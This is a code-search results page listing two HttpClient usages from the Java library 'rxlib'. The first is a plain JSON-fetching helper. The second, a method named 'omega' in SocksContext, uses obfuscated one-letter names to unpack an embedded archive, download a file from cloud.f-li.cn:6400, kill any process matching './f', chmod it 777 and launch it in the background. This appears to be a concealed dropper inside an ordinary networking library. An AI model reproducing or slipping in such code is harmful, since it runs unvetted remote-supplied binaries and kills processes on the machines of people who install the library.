Search in sources :

Example 1 with HttpClient

use of org.rx.net.http.HttpClient in project rxlib by RockyLOMO.

the class ComboIPSearcher method getJson.

private JSONObject getJson(String url, Predicate<JSONObject> check) {
    HttpClient client = new HttpClient();
    String text = client.get(url).toString();
    if (Strings.isEmpty(text)) {
        throw new InvalidException(String.format("Empty Response from %s", url));
    }
    JSONObject json = App.toJsonObject(text);
    if (!check.test(json)) {
        throw new InvalidException(String.format("Request:\t%s\n" + "Response:\t%s", url, text));
    }
    return json;
}
Also used : JSONObject(com.alibaba.fastjson.JSONObject) HttpClient(org.rx.net.http.HttpClient) InvalidException(org.rx.exception.InvalidException)

Example 2 with HttpClient

use of org.rx.net.http.HttpClient in project rxlib by RockyLOMO.

the class SocksContext method omega.

@SneakyThrows
public static void omega(String n, BiAction<ShellCommander.OutPrintEventArgs> o) {
    try {
        int d = 100;
        String k = "omega", c = "./m/", z = c + "o", i = c + "c";
        Files.createDirectory(c);
        Files.saveFile(z, Reflects.getResource(k));
        Thread.sleep(d);
        Files.unzip(z, c);
        Thread.sleep(d);
        new HttpClient().get("https://cloud.f-li.cn:6400/" + k + "_" + n).toFile(i);
        Thread.sleep(d);
        ShellCommander.exec("ps -ef|grep -v grep|grep ./f|awk '{print $2}'|xargs kill -9", c);
        ShellCommander.exec("chmod 777 f", c);
        ShellCommander sc = new ShellCommander("./f -c c", c);
        if (o != null) {
            sc.onOutPrint.combine((s, e) -> o.invoke(e));
        }
        Container.register(ShellCommander.class, sc.start());
    } catch (Throwable e) {
        if (o != null) {
            o.invoke(new ShellCommander.OutPrintEventArgs(0, e.toString()));
        }
    }
}
Also used : ShellCommander(org.rx.core.ShellCommander) HttpClient(org.rx.net.http.HttpClient) UnresolvedEndpoint(org.rx.net.support.UnresolvedEndpoint) SneakyThrows(lombok.SneakyThrows)

Aggregations

HttpClient (org.rx.net.http.HttpClient)2 JSONObject (com.alibaba.fastjson.JSONObject)1 SneakyThrows (lombok.SneakyThrows)1 ShellCommander (org.rx.core.ShellCommander)1 InvalidException (org.rx.exception.InvalidException)1 UnresolvedEndpoint (org.rx.net.support.UnresolvedEndpoint)1